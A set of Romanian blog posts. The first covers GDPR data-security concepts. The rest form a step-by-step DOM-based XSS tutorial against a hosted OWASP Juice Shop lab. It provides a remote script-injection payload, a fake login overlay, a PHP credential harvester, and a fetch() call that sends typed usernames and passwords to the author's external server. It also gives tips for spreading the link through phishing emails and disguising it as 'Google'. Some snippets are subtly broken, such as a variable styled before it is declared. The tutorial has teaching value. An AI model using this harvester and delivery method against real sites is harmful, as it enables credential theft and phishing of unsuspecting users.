Categorii
gdpr

Cerințele GDPR-ului vis-a-vis de securitatea datelor

GDPR cere ca datele personale să fie prelucrate într-o manieră care să le garanteze securitatea. Aceasta include protecția împotriva prelucrării neautorizate sau ilegale și împotriva pierderii, distrugerii sau deteriorării accidentale. Aceasta impune utilizarea unor măsuri tehnice sau organizatorice adecvate.

În conformitate cu articolul 32, în mod similar articolului 17 din directivă, controlorii și prelucrătorii trebuie să “implementeze măsuri tehnice și organizatorice adecvate”, ținând seama de “stadiul tehnicii și costurile implementării” și “natura, domeniul de aplicare, contextul și scopurile prelucrării, precum și riscul variabilității și gravității diferitelor drepturi și libertăți ale persoanelor vizate. “Spre deosebire de directivă, cu toate acestea, GDPR oferă sugestii specifice pentru ce tipuri de acțiuni de securitate ar putea fi considerate” adecvate riscului, “.

Pseudonimizarea și criptarea datelor cu caracter personal

Capacitatea de a asigura confidențialitatea, integritatea, disponibilitatea și reziliența proceselor și serviciilor de procesare.

Abilitatea de a restabili disponibilitatea și accesul la datele cu caracter personal în timp util, în cazul unui incident fizic sau tehnic.

Un proces de testare, evaluare și evaluare periodică a eficacității măsurilor tehnice și organizatorice pentru asigurarea securității prelucrării.

Controlorii și prelucrătorii care respectă fie un cod de conduită aprobat, fie un mecanism de certificare aprobat – în conformitate cu articolul 40 și cu articolul 42 – pot utiliza aceste instrumente pentru a demonstra conformitatea cu standardele de securitate ale GDPR.

Pentru îndrumări suplimentare privind standardele de securitate, controlorii și prelucrătorii pot lua în considerare considerentele, în special considerentele 49 și 71, care permit prelucrarea datelor cu caracter personal în moduri care altfel ar putea fi necorespunzătoare atunci când este necesar pentru a asigura securitatea și fiabilitatea rețelei.

De-identificare sau anonimizare

Un termen umbrelă pentru eliminarea sau mascarea informațiilor protejate. Într-un sens mai specific, procesul de dezidentificare elimină identificatorii dintr-un set de date, astfel încât nu mai este posibil să se raporteze informații la persoane. În contextul informațiilor din domeniul sănătății, de-identificarea are loc atunci când toți identificatorii (ID-urile, numele, adresele, numerele de telefon etc. – se află în lista precedentă de dezidentificare HL7 pentru o listă completă) sunt eliminate din setul de informații. În acest fel, identitatea pacientului este protejată, în timp ce majoritatea datelor rămân disponibile pentru partajarea cu alte persoane / organizații, analize statistice sau utilizări conexe.

Pseudonimizare

Un subset de anonimizare. Acest proces înlocuiește identificatorii elementelor de date cu noi identificatori, astfel încât relația cu obiectul inițial este înlocuită de un subiect complet nou. După înlocuire, nu mai este posibilă asocierea subiectului inițial cu setul de date. În contextul informațiilor privind asistența medicală, putem “pseudonimiza” informațiile pacienților prin înlocuirea datelor de identificare a pacienților cu date complet independente. Rezultatul este un nou profil de pacient. Datele continuă să pară complete, iar semantica datelor (semnificația datelor) este păstrată în timp ce informațiile despre pacient rămân protejate.

Re-identificare

Acest proces restabilește informațiile inițiale într-un set de date pseudonime. Pentru a re-identifica datele, va trebui să folosiți o serie de structuri de mapare inversă construite pe măsură ce datele sunt pseudonimizate. Există câteva cazuri de utilizare pentru re-identificare. Un exemplu ar fi transmiterea datelor pseudonime către un sistem extern de procesare. Odată ce informația procesată este returnată, aceasta va fi re-identificată și împinsă la dosarul pacientului potrivit.

Identificatori

Identificatorii sunt elemente de date care pot identifica direct indivizii. Exemple de identificatori includ, dar nu se limitează la numele, adresa de e-mail, numărul de telefon, adresa de domiciliu, numărul de securitate socială, numărul cardului medical (vezi postul anterior pentru o listă completă a identificatorilor HIPAA). În unele cazuri, este nevoie de mai mult de o variabilă de identificare pentru a identifica o persoană în mod unic. De exemplu, numele “John Smith” apare de mai multe ori în paginile albe. Cu toate acestea, trebuie să combinați numele cu un număr de telefon pentru a identifica dreptul de John Smith.

Cvasi-identificatorilor

Acestea sunt elemente de date care nu identifică direct o persoană, dar care oferă suficiente informații pentru a restrânge în mod semnificativ căutarea unui anumit individ. Unele cvasi-identificatori au fost studiate pe larg. Acestea includ sexul, data nașterii și codul poștal / codul poștal. Cvasi-identificatorii sunt în mare măsură dependenți de tipul de set de date. De exemplu, sexul nu va fi un cvasi-identificator semnificativ dacă toate persoanele fizice sunt femei. Un alt lucru interesant despre cvasi-identificatori: ele sunt categorice în natură, cu un set finit de valori discrete. Cu alte cuvinte, sexul, datele de naștere pe o perioadă de mai puțin de 150 de ani și adresa sunt finite. Acest lucru face căutările simple. Persoanele fizice sunt relativ ușor de identificat folosind cvasi-identificatori.

Non-identificatorii

Aceste elemente de date pot conține informații personale despre persoane, dar nu sunt utile pentru reconstituirea informațiilor inițiale. De exemplu, un indicator privind dacă o persoană are alergii la polen ar fi cel mai probabil un element de date care nu identifică. Incidența alergiei la polen este atât de mare în populație încât nu ar fi un bun discriminator printre indivizi. Din nou, elementele de date fără identificatori depind de seturile de date. Într-un context diferit, acest element de date vă poate permite să identificați indivizii.

Criptarea simetrică

Criptarea simetrică este cea tradițională, care funcționează în felul următor: pe un computer se realizează criptarea informațiilor cu ajutorul unui algoritm și o anume cheie. Apoi, informația criptată pleacă (fără măsuri de protecție specială) către destinatar. Destinatarul va vedea informația în clar, o va putea decodifica, doar dacă are cheia corespondentă. Dacă o are, o aplică fișierului criptat și are astfel acces la informație în clar.

Algoritmii cu cheie secretă sunt caracterizați de faptul că folosesc aceeași cheie atât în procesul de criptare, cât și în cel de decriptare. Din acest motiv, acești algoritmi mai sunt cunoscuți sub numele de algoritmi simetrici; pentru aplicarea lor este necesar ca înaintea codificării / decodificării, atât emițătorul cât și receptorul să posede deja cheia respectivă. În mod evident, cheia ce caracterizează acești algoritmi trebuie să fie secretă.

Criptarea simetrică prezintă avantajul rapidității cu care sunt realizate procesele de criptare / decriptare a mesajelor. Succesul sistemului se bazează pe dimensiunea cheii. Dacă are mai mult de 128 biți este una destul de sigură, deci sigură în exploatare. Cele trei caracteristici ale criptării simetrice sunt siguranța, rapiditatea și volumul mare de date criptate.

Principalul dezavantaj al algoritmilor simetrici constă în faptul că impun un schimb de chei private înainte de a se începe transmisia de date. Altfel spus, pentru a putea fi utilizați, este necesar un canal cu transmisie protejată pentru a putea fi transmise cheile de criptare / decriptare.

Problema cea mai importantă în acest sistem de criptare, folosit cu preponderență de guvernele țărilor lumii, este păstrarea secretului cheilor folosite și transferul acestora între utilizatori aflați uneori la mari distanțe. Deconspirarea acestora duce la compromiterea sistemelor de criptare folosite.

Funcțiile hash

În sens matematic, funcțiile hash (clasă de funcții denumite în lucrări de specialitate și funcții de dispersie sau funcții de rezumat) sunt funcții definite pe o mulțime cu multe elemente (posibil infinită) cu valori într-o mulțime cu un număr fix și mai redus de elemente. Funcțiile hash nu sunt inversabile. În informatică, funcțiile hash sunt folosite pentru a accelera căutările în tabele, cum este cazul în bazele de date mari sau comparările de date. Valoarea unei funcții hash este denumită rezumat, valoare hash, cod hash, sumă hash sau doar hash. De asemenea, pot fi folosite drept sume de control sau coduri corectoare de erori (deși nu trebuie confundate cu acestea două), sau, în criptografie, drept componente în schemele de semnătură digitală.

O funcție hash poate lega două sau mai multe chei de la aceeași valoare hash. În multe aplicații, este de dorit minimalizarea șansei apariției unor astfel de coliziuni, ceea ce înseamnă că funcția hash trebuie să lege cheile de valorile hash cât mai uniform posibil. De asemenea, în funcție de aplicație, alte proprietăți pot fi necesare. Deși ideea a fost concepută în anii 1950, proiectarea optimă a funcțiilor hash este încă un subiect activ de cercetare și discuție. Funcțiile hash sunt utilizate și ca sume de control sau funcții hash criptografice, dar nu trebuie confundate cu caracterele de verificare, amprentele numerice, funcțiile de randomizare, codurile de corectare a erorilor. Deși aceste concepte se suprapun într-o oarecare măsură, fiecare are propriile sale utilizări și cerințele și este proiectat și optimizat în mod diferit.

Sisteme de Backup&Restore

Backup-ul este metoda prin care creezi copii de siguranță ale sistemului de operare și / sau ale fișierelor stocate pe calculatorul personal. În principiu, deși există numeroase soft-uri dedicate acestui proces, cel mai simplu mod de a face un backup este cu ajutorul uneltelor incluse în sistemul de operare. Microsoft ne oferă pentru Vista și Windows 7 un utilitar de backup gratuit și ușor de utilizat.

Semnătura digitală

O semnătură digitală se utilizează pentru a autentifica informațiile digitale — cum ar fi documente, mesaje de poștă electronică și macro comenzi — utilizând criptografia informatică. Semnăturile digitale atestă următoarele:

 Autenticitate Semnătura digitală contribuie în a asigura că semnatarul este cel care pretinde că este.

 Integritate Semnătura digitală contribuie în a asigura că un conținut nu a fost modificat sau alterat de la momentul în care a fost semnat digital.

 Nerepudiere Semnătura digitală contribuie în a demonstra tuturor părților care este originea conținutului semnat. „Repudiere” se referă la acțiunea unui semnatar care neagă orice asociere cu conținutul semnat.

Pentru aceste asigurări, conținutul trebuie să fie semnat digital de creatorul de conținut, utilizând o semnătură ce îndeplinește următoarele criterii:

 Semnătura digitală este validă.

 Certificatul asociat semnăturii digitale este curent (neexpirat).

 Persoana sau organizația care semnează, cunoscută cu numele de editor, este de încredere.

 Certificatul asociat cu semnătura digitală a fost emis către editorul semnatar de o autoritate de certificare (CA)recunoscută.

Programele 2007 Microsoft Office system detectează aceste criterii și vă avertizează dacă există o problemă cu semnătură digitală. Pentru detalii, citiți ultima secțiune din acest articol Cum se poate spune dacă o semnătură digitală este de încredere.

Steganografie

Steganografia este o tehnică care permite utilizatorilor să ascundă mesaje în alte mesaje, aplicând tehnici steganografice și watermarking digital este posibilă ascunderea unor informații privind drepturile de autor, cum ar fi numele autorului, data apariției, etc.

Unul dintre cele mai întâlnite formate electronice sub care se găsesc informațiile în zilele noastre este imaginea digitală. Steganografia pentru imagini reprezintă procesul de modificare a datelor din imagini astfel încât să se poată insera diverse informații. În această lucrare voi analiza metodele folosite pentru ascunderea informației în imagini.

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea VI

Cum adaugam functionatitatea formularului de a trimite datele la serverul atacatorului ?

Să adăugăm funcționalitatea pentru a trimite datele colectate de formularul nostru, folosind cod JavaScript. In acest sens trebuie să creem fișierul PHP care va salva datele de logare colectate de formular. Pentru a face acest lucru, să mergem la Codeanywhere și să creăm un fișier nou numit credentials.php

In primul rand vom folosi functia error_reporting pentru a impiedica PHP sa afiseze erorile direct in consola.

error_reporting(0);

Mai departe, vom defini o variabilă numită $user pentru a stoca valoarea numelui de utilizator. După cum observați, în limbajul PHP, variabilele încep cu un semn dolar ($). Valoarea numelui de utilizator ne va fi transmisă ca parametru în șirul de interogare al adresei URL.

Pentru a accesa parametrii trecuți în URL, putem folosi $ _GET. Variabila $ _GET conține toți parametrii și valorile trecute în șirul de interogare al adresei URL. Șirul de interogare este partea care vine după simbolul (?) si este compus din perechi de valori cheie separate printr-un semn „ampersand” (&) astfel:

?parameter0=value0&parameter1=value1&parameter2=value2

Pentru a accesa valoarea variabilei parameter, vom folosi $_GET[“parameter”].

In cazul nostru particular, pentru a accesa valorile user si parola vom folosi:

$user = $_GET[“user”];
$pass = $_GET[“pass”];

Dupa ce recuperam numele de utilizator și parola din adresa URL, le vom salva într-un fișier pe care l-am numit credentials.txt. Pentru a face acest lucru, să deschidem fișierul utilizând funcția fopen. Există mai multe moduri pentru a deschide un fișier pentru a lucra cu acesta. În acest caz, vom deschide fișierul cu modul a +, ceea ce înseamnă următoarele:

  1. Daca fisierul nu exista, creaza-l
  2. Daca fisierul exista, deschide-l si adauga continut in el

$file = fopen(“credentials.txt”, “a+”);

Acum să scriem numele de utilizator și parola în acest fișier. Pentru a face acest lucru, folosim funcția fwrite. Trebuie să transmitem funcției fwrite o referință la fișier, în cazul nostru variabila $file și apoi conținutul pe care dorim să-l scriem. Simbolul punct concatenează (unește) șiruri, iar \n înseamnă ca introducem o linie nouă:

fwrite($file, $user . “, ” . $pass . “\n”);

Odată ce terminăm de lucrat cu fișierul, ar trebui să îl închidem pentru a ne asigura că modificările sunt salvate corect în fișierul credentials.txt:

fclose($file);

Salvam continutul credentials.php care ar trebui sa arate asa:

Daca-l accesam direct vom vedea o pagina goala, deoarece scriptul nu primeste in URL parametrii user si parola.

Daca in schimb testam fisierul completand in URL parametrii user si parola si tastam Enter https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass=testpass

chiar dacă pare că nu s-a întâmplat nimic, dacă ne întoarcem in Codeanywhere, vom putea vedea un nou fișier numit credentials.txt care conține valorile trecute în șirul de interogare pentru user și pass:

Acum că ne-am testat fișierul credentials.php și vedem că funcționează, să codam funcționalitatea formularului astfel încât, atunci când utilizatorul face clic pe butonul Verify, numele de utilizator și parola vor fi trimise la această adresă URL.

În Codeanywhere deschideți fișierul JavaScript. În primul rând, vom adăuga ceea ce se numește un event handler. Un event handler ne permite să răspundem la diferite evenimente care se pot avea loc într-o pagină web. În cazul nostru, suntem interesați de trimiterea (submit) formularului.

Pentru a adăuga un event handler, folosim metoda addEventListener, trecând ca argument numele evenimentului pe care dorim să îl gestionăm (Submit în cazul nostru) și apoi o funcție cu cod pe care dorim să o executăm de fiecare dată când se întâmplă evenimentul. Codul arată astfel:

form.addEventListener(“submit”, event => {});

The event=>{} este un alt mod de a defini o functie.
In loc sa o declarati:

function(event){}  puteti sa o definiti astfel:

event => {}

În interiorul parantezelor {} se trece codul JavaScript care va fi executat la trimiterea formularului.

Primul lucru pe care vrem să îl facem este să prevenim comportamentul implicit al evenimentului de trimitere (Submit).

De fiecare dată când trimitem un formular, în mod implicit, browserul redirecționează utilizatorul către adresa URL care figurează în atributul de acțiune al formularului. Cu toate acestea, în acest caz, nu vrem
utilizatorului să fie redirecționat către serverul nostru, dorim ca acesta să rămână pe loc, pe pagina. Pentru a preveni acest comportament implicit, folosim metoda preventDefault  a evenimentului Submit:

event.preventDefault();

În continuare, să trimitem credentialele la adresa URL a serverului nostru. Pentru a face acest lucru, vom folosi funcția fetch. Mai întâi să copiem adresa URL unde dorim să trimitem numele de utilizator și parola utilizatorului, ceva gen:

‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=testuser&pass =testpass’

Prin urmare, de fiecare dată când cineva face clic pe butonul de trimitere (Verify), numele de utilizator și parola introduse în formular vor fi incluse în adresa URL. De asemenea, în scopul acestei demonstrații și pentru a evita problemele cu CORS (Cross-Origin Resource Sharing), pe lângă adresa URL ca prim argument pentru funcția de preluare, vom trece un al doilea argument care setează proprietatea modului cererii pentru a avea valoare no-cors. Codul va arăta astfel:

fetch(‘https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php?user=${userInput.v alue}&pass=${passInput.value}’,{mode: “no-cors”});

In final ascundem div-ul, ca sa pastram utilizatorul pe pagina OWASP Juice shop.

div.style.display = “none”;

In final codul va arata asa:

Salveaza fisierul.

Accesați aplicația OWASP Juice Shop și utilizați <script src= ></script> pentru a încărca scriptul nostru in caseta de cautare Search, așa cum am făcut înainte:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Dupa ce accesati butonul Search, se va afisa formularul nostru care va solicita verificarea user /parola.

Completam la user “you@got.me” si la parola “donottellanyone”. Daca mergem acum si deschidem fisierul credentials.txt vom vedea colectate informatiile completate in formular.

Cu aceasta am incheiat aceasta demonstratie.

Acest atac poate fi livrat doar prin partajarea următorului link printr-un e-mail de phishing, printr-un site web malicios, sau doar lăsând o notă în secțiunea de comentarii:

https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Sunt, de asemenea, multe tehnici de a ascunde un link, cum ar fi aceasta:

<a href=’https://h9demoxss-juice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>’>Google</a>

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea V

Cum adaugam intrari in Bowser history ?

Să ne întoarcem in contul Codeanywhere. În continuare, vom arăta cum putem adăuga intrări în istoricul browserului și cum putem modifica adrese URL.

Browserul ne permite să adăugăm intrări în istoricul browserului folosind API-ul istoric. Nu putem schimba domeniul, dar putem schimba calea sau adresa URL cu a fi ceea ce dorim. Funcția API-ului istoric al browserului care ne permite să facem acest lucru se numeste pushState. Primele două argumente ale functiei pushState pot fi ignorate (setate “”) pentru scopurile noastre, iar al treilea este noua cale pe care vrem să o salvam în istoricul browserului.

De exemplu, daca vrem să schimbăm calea către

…./ account/verification utilizam urmatoarul cod:

history.pushState(“”, “”, “/account/verification”);

Salvați fișierul cu acest cod in contul Codeanywhere, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src= > </script> pentru a încărca scriptul nostru. În cele din urmă, apăsați butonul Search si veti observa ca s-a produs modificarea istoricului browserului, salvandu-se calea cu /account/verification.

Așadar, am demonstrat că, pe lângă descărcarea de scripturi din surse externe, un atacator poate folosi codul JavaScript pentru a modifica adresa URL și istoricul browserului.

Cum modificam aspectul paginii web ?

 

Acum vom modifica aspectul vizual al paginii web. De exemplu, să punem un strat semi-transparent în fața. Cum putem face asta ?

Trebuie să creem o secțiune sau un element div, să setam câteva proprietăți CSS din JavaScript și apoi să plasam elementul în interiorul body tag-ului. Dar să mergem pas cu pas.

Putem crea elemente HTML folosind funcția document.createElement. De exemplu, dacă dorim să creăm un element div, putem coda:

let div = document.createElement(“div”);

Putem aplica proprietati CSS elementului folosind propritatea style, astfel:

div.style.width = “100%”;

Sa incepem sa facem layer-ul nostru. Vrem ca elementul div sa acopere toata latimea ecranului:

div.style.width = “100%”;
div.style.height = “100vh”;
div.style.position = “absolute”;
div.style.top = 0;
div.style.left = 0;
div.style.zIndex = 99999;
div.style.background = “rgba(255, 255, 255, .5)”;

În cele din urmă, să adăugăm acest div ca element secundar al body-ului folosind funcția appendChild astfel:

document.body.appendChild(div);

Codul complet va arata astfel:

Și așa cum am procedat anterior, salvați fișierul, accesați OWASP Juice Shop și, în formularul de căutare, utilizați etichetele <script src=></script> cu src= calea fisierului salvat in Codeanywhere.

Dupa ce apasati Search, veți vedea că codul JavaScript este executat și întreaga pagină este acoperită de un strat alb semi-transparent.

Prin urmare, acest lucru demonstrează că suntem capabili să schimbăm aspectul vizual al paginii. Cu toate acestea, acest lucru nu este foarte util. Dar, ce se întâmplă dacă adăugăm un formular web în interiorul div-ului nostru, care solicită utilizatorului sa-si completeze parola pentru a aceesa contul ?

Cum adaugam un formular care solicita utilizatorului sa-si completeze parola ?

Pentru a face acest lucru, vom urma aceeași procedură, vom crea elementul formular și apoi îl vom adăuga în interiorul div -ului. Îmi cer scuze, sunt destul de departe de a fi un CSS pro, așa că stilul formularului nu va fi grozav, dar va ilustra ceea ce dorim sa aratam.

Să începem să codam formularul prin crearea elementului HTML la fel cum am făcut înainte:

let form = document.createElement(“form”); HTML forms

Formularele HTML au de obicei urmatoarele doua atribute:

  • action (the URL of the server-side script that will handle the form
  • method (the HTTP method to be used

Pentru a seta aceste atribute, putem folosi metoda setAttribute a elementului form pe care tocmai l-am creat. Mai întâi, setați atributul metodei. În acest caz, nu contează dacă utilizați GET sau POST deoarece vom trimite formularul folosind cod JavaScript:

form.setAttribute(“method”, “post”);

Apoi setați atributul action. Adresa URL va indica catre un script PHP numit credentials.php pe care îl vom coda imediat după ce terminam formularul:

form.setAttribute(“action”, “https://h9demoxss-h9articlexss483243.codeanyapp.com/credentials.php”);

Mai departe, sa lucram putin pe elementele de stil ale formularului.

form.style.width = “40%”;
form.style.margin = “20px auto”;
form.style.padding = “20px”;
form.style.border = “2px dashed red”;

Acum să creăm elementele HTML care vor fi în interiorul formularului. De exemplu, să punem o etichetă de titlu pentru a indica utilizatorului că este necesară o verificare a contului. Pașii sunt aceiași; creăm elementul de heading HTML. Un H1 în acest caz:

let formTitle = document.createElement(“h1”);
formTitle.style.color = “red”;
formTitle.style.textAlign = “center”;

Apoi setam textul efectiv in interiorul acestui H1:

formTitle.textContent = “Account Verification Needed!”;

Mai departe, trebuie sa creem campurile de input ale acestui formular care sa permita completarea username-ului si a password-ului.

Sa incepem prin a crea campul / inputul necesar pentru solicitarea username-ului:

let userInput = document.createElement(“input”);
userInput.setAttribute(“type”, “text”);
userInput.setAttribute(“name”, “user”);
userInput.setAttribute(“placeholder”, “username”);
userInput.style.display = “block”;
userInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
userInput.style.textAlign = “center”;

Acum ca am creat elementul input pentru username, pentru parola trebuie sa fie similar:

let passInput = document.createElement(“input”);
passInput.setAttribute(“type”, “password”);
passInput.setAttribute(“name”, “pass”);
passInput.setAttribute(“placeholder”, “password”);
passInput.style.display = “block”;
passInput.style.width = “100%”;
passInput.style.fontSize = “1.3em”;
passInput.style.padding = “4px”;
passInput.style.textAlign = “center”;

Ca sa finalizam formularul, mai trebuie sa adaugam butonul Submit. Butonul Submit este un alt tip de element care trebuie adaugat formularului deja creat. Procedam ca in cazul anterior:

let submitButton = document.createElement(“input”);
submitButton.setAttribute(“type”, “submit”);
submitButton.setAttribute(“display”, “block”);
submitButton.setAttribute(“value”, “Verify”); *** butonul Submit va afisa textul Verify
submitButton.style.display = “block”;
submitButton.style.width = “100%”;
submitButton.style.fontSize = “1.3em”;
submitButton.style.padding = “4px”;

Toate elementele formularului fiind create, mai ramane sa le adaugam (append) la formular:

form.appendChild(formTitle);
form.appendChild(userInput);
form.appendChild(passInput);
form.appendChild(submitButton);
div.appendChild(form);

Salvam fisierul h9demo.js pe Codeanywhere, si accesam butonul de cautare din headerul aplicatiei OWASP Juice Shop, cum am procedat si in cazurile anterioare, dupa ce completam in prealabil caseta de cautare cu:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

Rezultatul ar trebui sa fie urmatorul:

În acest moment, formularul nu face nimic. Trebuie sa adăugăm funcționalitatea pentru a permite receptionarea informatiilor username si password completate de utilizator in formular, folosind cod JavaScript. Pentru acesta, trebuie să codam un fisier PHP care va salva aceste informatii din formularul nostru.

Categorii
devirusare site

Exploatarea vulnerabilitatii Cross site scripting – partea IV

Citeste si:
Anatomia unui atac Cross Site scripting – partea III
Anatomia unui atac Cross Site scripting – partea II
Anatomia unui atac Cross Site scripting – partea I

Exploatarea unei vulnerabilitati Cross site scripting

După cum probabil știți, eticheta <script> a limbajului HTML nu vă permite doar să executați codul JavaScript în cadrul etichetelor de script <script></script> ci și să încărcați un script de pe orice alt server web utilizând atributul src. Pentru a-l testa, mergeti in contul Codeanywhere, faceți clic dreapta pe container și selectați Creați fișier din meniu:

Odată creat fișierul putem începe codarea. Primul lucru pe care îl vom face este să ne izolăm propriul cod JavaScript pentru a evita problemele legate de codul JavaScript legitim, existent din pagină.

Pentru exemplificare, deschideti instrumentele de dezvoltator ale browserului Chrome apăsând tasta F12 și apoi faceți clic pe fila Consolă. Aici puteți modifica codul JavaScript. Să declarăm o variabilă numită x și apoi să încercăm să declarăm o altă variabilă numită x. Deoarece variabila x a fost deja declarată, a doua oară când încercați să o declarați, se declanșează următoarea eroare:

Deci, în codul nostru, dacă numim o variabilă div, iar în codul legitim din pagina există o altă variabilă numită div, codul nostru nu va funcționa deoarece nu putem declara o variabilă care a fost deja declarată. Pentru a evita conflictele de genul acesta, în loc să folosim variabile globale, vom crea o funcție care va fi imediat invocată conținând toate variabilele. Deoarece JavaScript are function scope, toate variabilele create în interiorul funcției nu vor intra in conflict cu variabilele din afara funcției.

Pentru a invoca imediat o funcție, trebuie să înconjurați funcția între paranteze și apoi să puneți un alt set de paranteze ():

( function ( ) {

// aici puneti codul functiei

}) ( ); acest set de paranteze invoca imediat functia continuta in primul set de paranteze

Testam si in cazul nostru ca merge, afisand textul “Hi from anywhere!”:

Salvați fișierul. Apoi accesați OWASP Juice Shop și, în formularul de căutare, in campul Search, utilizați etichetele <script src></script> pentru a încărca scriptul nostru astfel:

<script src=”https://h9demoxss-h9articlexss483243.codeanyapp.com/h9demo.js”></script>

 

Daca apasati butonul Search, după cum se poate vedea, codul JavaScript se execută după ce a fost descărcat de pe serverul web pe care îl avem în Codeanywhere:

Deci, tocmai am demonstrat ca această vulnerabilitate permite să fie incarcate fișiere JavaScript de pe orice server dorit de atacator. De asemenea, putem ataca orice client al site-ului Juiceshop prin simpla distribuire a următorului link printr-un e-mail de phishing, secțiunea de comentarii a unei pagini web, sau printr-un site creat special în acest scop:

https://h9demoxss-iuice-shop.herokuapp.com/#/search?q=<script+src=”https://h9demoxss-h9articlexss48.324.3.co deanyapp.com/h9demo.js”></script>

Categorii
devirusare site

Anatomia unui atac Cross Site scripting – partea III

Demo – DOM-Based XSS

Acum că am pregatit mediul de lucru pentru demo, vom arăta cum să exploatam o vulnerabilitate în codul JavaScript pe partea de client (browser) pentru a efectua un atac Cross-site scripting.

În acest atac:
• Codul malitios va modifica adresa URL
• Codul malitios va adăuga o intrare în istoricul browserului
• Codul malitios va modifica aspectul vizual al paginii curente
Scriptul care conține codul malitios va fi descărcat de pe un server web extern, mai exact serverul web pregatit de noi pe Codeanywhere.

Gasirea vulnerabilitatii

Una dintre primele task-uri pe care trebuie să le efectuați atunci când auditați o aplicație web, este să accesați cu crawlere sau să pătrundeți transversal site-ul pentru a găsi fișierele și directoarele legate. Această acțiune vă poate ajuta să descoperiți puncte interesante pentru testări suplimentare, cum ar fi formulare de cautare, etc.

În cazul nostru, avem un formular de căutare în bara de navigare din partea de sus a paginii. Facem un test folosing un text oarecare in bara de cautare. Putem vedea în adresa URL din browser, că textul folosit la căutare apare după un semn hash (#).

https://h9demoxss-juice-shop.herokuapp.com/#/search

Partea care începe de la semnul hash (#) este cunoscută sub numele de fragmentul adresei URL și este o parte care este, de obicei, gestionată de cod JavaScript pe partea clientului (browserul client).

Pentru a înțelege mai bine cum funcționează formularul de căutare, să apăsăm F12 pentru a deschide instrumentele de dezvoltare ale browserului și să facem clic pe fila Network.

Apoi, să tastăm un termen de căutare în bara de cautare, cum ar fi Apple, și să facem clic pe butonul Search.
După ce faceți clic pe buton, vom putea observa că pagina web nu se actualizeaza. În schimb, putem vedea în fila de rețea că a fost efectuată o cerere HTTP folosind codul JavaScript.

Un alt lucru interesant pe care l-am observat este că, deși pagina web nu s-a actualizat, termenul de căutare Apple este afișat lângă cuvintele Search results pe ecran.

Prin urmare, există cod JavaScript pe partea de client care modifica conținutul paginii. Dacă facem clic pe Request, vom putea vedea adresa URL a cererii:

https://h9demoxss-juice-shop.herokuapp.com/rest/product/search?q=apple

Aceste date sunt solicitate si primite folosind cod JavaScript pe partea de client. Intrucât pagina nu se actualizeaza, știm că datele sunt procesate utilizând cod JavaScript pe partea client. Deci, dacă gasim o vulnerabilitate care ar conduce la un atac de tip Cross-site scripting, tipul XSS va fi bazat pe DOM.

Există mai multe moduri de a insera cod JavaScript într-un site web, dar probabil una dintre cele mai cunoscute este utilizarea etichetelor <script> în limbajul HTML. Să încercăm să introducem in formularul de cautare un Pop-up simplu de alertă pe care majoritatea o folosesc pentru testare. Tastăm urmatorul cod în formularul de căutare și apoi apăsăm butonul Search:

<script>alert(‘Xss’)</script>

Și după cum putem vedea, codul JavaScript se executa declanșând un pop-up de alertă:

Aceasta inseamnă că dezvoltatorul nu numai că nu filtrează Input-ul pe care l-am completat in formularul de cautare, dar nu filtreaza caractere precum < sau > înainte de a afișa codul in pagina.

După ce faceți clic pe butonul OK, puteti vedea că acel cod pe care l-am tastat este încorporat în sursa paginii (View source).

Toate datele introduse de utilizator ar trebui să fie validate, inainte de a fi afisate.

Categorii
devirusare site

Anatomia unui atac Cross Site scripting – partea II

Pregatirea mediului de lucru

Pentru a face acest demo, trebuie să configurăm mai întâi mediul. Ca aplicație web vulnerabilă, vom instala OWASP Juice Shop versiunea 7.5 pe Heroku, iar pentru exemplificarea serverului web al atacatorului vom folosi Codeanywhere. Am ales aceste resurse deoarece ambele servicii sunt destul de simple in utilizare și nu necesită card de credit în procesul de înscriere.

Să începem prin a instala OWASP Juice Shop pe Heroku.

Heroku

Pe site-ul Heroku:

https://www.heroku.com/

apasa click pe SIGN UP FOR FREE button:

Mai departe, completam formularul de inscriere si apasam pe CREATE FREE ACCOUNT:

Dupa ce apasam butonul de creare a contului, urmatorul ecran va solicita sa ne confirmam adresa de email:

Mai departe, pentru a activa contul Heroku, trebuie sa accesam link-ul primit in email-ul de confirmare:

Urmatorul pas este de a ne seta parola, dupa care apasati click pe butonul SET PASSWORD AND LOGIN:

In final, apasa click pe butonul CLICK HERE TO PROCEED pentru a te loga in contul Heroku:

Am parcurs intreg procesul de deschidere a unui cont Heroku.

Urmatorul pas este instalarea OWASP Juice Shop version 7.5 in contul Heroku deschis mai sus.

OWASP Juice Shop

OWASP Juice Shop poate fi gasit aici: https://github.com/bkimminich/juice-shop/tree/276cb977.3a70a.3fa471c4.3be66c4de4c21024c1.3

Pentru a instala in contul Heroku, mergeti pe link-ul de mai sus si cautati in partea de jos butonul “Deploy to Heroku” pe care apasati click:

Dupa ce apasati pe buton, veti fi redirectionati pe site-ul Heroku. Apoi va trebui sa dati click pe butonul “Deploy app”:

Urmeaza procesul de building, dupa care veti avea acces la butonul “View”:

Dupa ce accesati butonul View veti putea vedea live aplicatia OWASP Juice Shop.

Daca veti avea nevoie sa opriti aplicatia, puteti accesa butonul “Manage App” si ulterior “Maintenance Mode” in pozitia On/Off.

Vom lasa Maintenance mode off, pentru a putea folosi aplicatia OWASP Juice Shop mai departe in demersul nostru.

Codeanywhere

Mai departe, vom instala codeanywhere.

Acesta poate fi gasit aici: https://codeanywhere.com/

Click pe butonul Signup si apoi pe Free Trial:

Urmeaza confirmarea adresei de email si verificarea acesteia. Dupa aceea vom accesa editorul urmand butonul CLICK TO GO STRAIGHT TO EDITOR.

Se va deschide un Wizard. Dintre optiunile posibile vom alege PHP on Ubuntu 16.04. Vom da acestui mediu un nume, si la final vom incheia procesul de instalare accesand CREATE Link.

La finalul acestui proces vom avea un server Apache up and running.

Astfel, am terminat instalarea celor trei componente necesare mediului de demo pentru Cross-site scripting.

Categorii
devirusare site

